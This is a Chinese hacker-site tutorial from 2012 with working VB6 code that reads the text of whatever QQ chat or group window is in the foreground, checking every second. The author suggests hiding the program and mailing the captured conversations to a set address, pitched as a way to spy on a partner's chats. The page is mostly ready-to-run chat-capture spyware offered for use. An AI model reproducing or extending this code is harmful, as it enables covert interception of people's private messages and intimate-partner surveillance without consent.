猎取当前QQ聊天内容-VB版_VB.net_黑客防线网安服务器维护基地--Powered by WWW.RONGSEN.COM.CN

猎取当前QQ聊天内容-VB版

作者:黑客防线网安VB教程基地 来源:黑客防线网安VB教程基地 浏览次数:0

本篇关键词:内容聊天当前 
黑客防线网安网讯:使用VB6.0 新建一个EXE工程 新建一个窗体 添加一个textbox控件 将MultiLine属性改为:True 再添加一个timer控件 Enlable=True ,Interval=1000再将以下代码完全复制到代码窗口,运行!打一个好友...

使用VB6.0 新建一个EXE工程 新建一个窗体 添加一个textbox控件 将MultiLine属性改为:True 再添加一个timer控件 Enlable=True ,Interval=1000

再将以下代码完全复制到代码窗口,运行!

打一个好友,进行聊天模式进行聊天.....看到结果了吧

...那些对别人隐私感兴趣的同学可以把它完善一下...把程序的运行状态设为隐藏,将获得的特定的聊天内容,以MAIL的方式发送到指定邮箱...呵呵...怀疑你的GF/BF背着你跟另外的GG/MM聊得火热,但又不知道他们到底说些什么,,,试一下吧...呵呵...话说回来,发程序只为互相交流与学习...为此若引起两口子打架,各孽的不要来找我哈....

Private Declare Function GetForegroundWindow Lib "user32" () As Long
Private Declare Function GetWindowText Lib "user32" Alias "GetWindowTextA" (ByVal hwnd As Long, ByVal lpString As String, ByVal cch As Long) As Long
Private Declare Function FindWindowEx Lib "user32" Alias "FindWindowExA" (ByVal hWnd1 As Long, ByVal hWnd2 As Long, ByVal lpsz1 As String, ByVal lpsz2 As String) As Long
Private Declare Function SendMessage& Lib "user32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any)
'Private Const WM_GETTEXT = &H7D
Private Const WM_GETTEXT = &HD
Private Const WM_GETTEXTLENGTH = &HE

Private Sub Form_Load()
Timer1.Interval = 1000
End Sub

Private Sub Timer1_Timer()
  On Error Resume Next
  Dim sText As String * 255
  Dim TextObj As Long
  Dim txtLendth As Long, txtBuff As String
 
  TheWindow = GetForegroundWindow '获得当前窗口句柄
 
  If TheWindow = 0 Then Exit Sub
  thewindow_title = Left$(sText, GetWindowText(TheWindow, sText, 255)) '得到聊天窗口标题~
  chatobj = thewindow_title
 
  'Debug.Print thewindow_title
 
  If InStr(thewindow_title, "聊天中") <> 0 Or InStr(thewindow_title, "- 群") <> 0 Or InStr(thewindow_title, "查看消息") <> 0 Then
    TextObj = FindWindowEx(TheWindow, 0, "#32770", vbNullString) '通用对话框的类
    If TextObj = 0 Then Exit Sub
    TextObj = FindWindowEx(TextObj, 0, "", vbNullString) '聊天框的类'我操 腾讯将发送窗口的RichEdit改过了 得不到它的句柄
    If TextObj = 0 Then Exit Sub
    txtLength = SendMessage(TextObj, WM_GETTEXTLENGTH, ByVal CLng(0), ByVal CLng(0))
    txtBuff = Space(txtLength)
    retVal = SendMessage(TextObj, 13, ByVal txtLength + 1, ByVal txtBuff)
    Text1 = Left(txtBuff, retVal) & vbCrLf & vbCrLf & "以上聊天对象为:" & chatobj
  Else
    Exit Sub
  End If
 
End Sub

    黑客防线网安服务器维护方案本篇连接:http://www.rongsen.com.cn/show-14663-1.html
网站维护教程更新时间:2012-04-03 01:12:04  【打印此页】  【关闭
我要申请本站N点 | 黑客防线官网 |  
专业服务器维护及网站维护手工安全搭建环境,网站安全加固服务。黑客防线网安服务器维护基地招商进行中!QQ:29769479

footer  footer  footer  footer